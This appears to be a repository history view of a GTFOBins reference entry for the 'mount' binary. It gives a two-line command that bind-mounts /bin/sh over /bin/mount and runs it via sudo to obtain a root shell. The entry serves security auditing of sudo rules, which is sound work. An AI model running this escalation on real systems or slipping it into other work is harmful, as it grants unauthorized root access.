1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/mount.md

9 lines
228 B
Markdown
Raw Permalink Normal View History

2018-07-16 10:00:14 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
code: |
sudo mount -o bind /bin/sh /bin/mount
sudo mount
2018-07-16 10:00:14 +02:00
---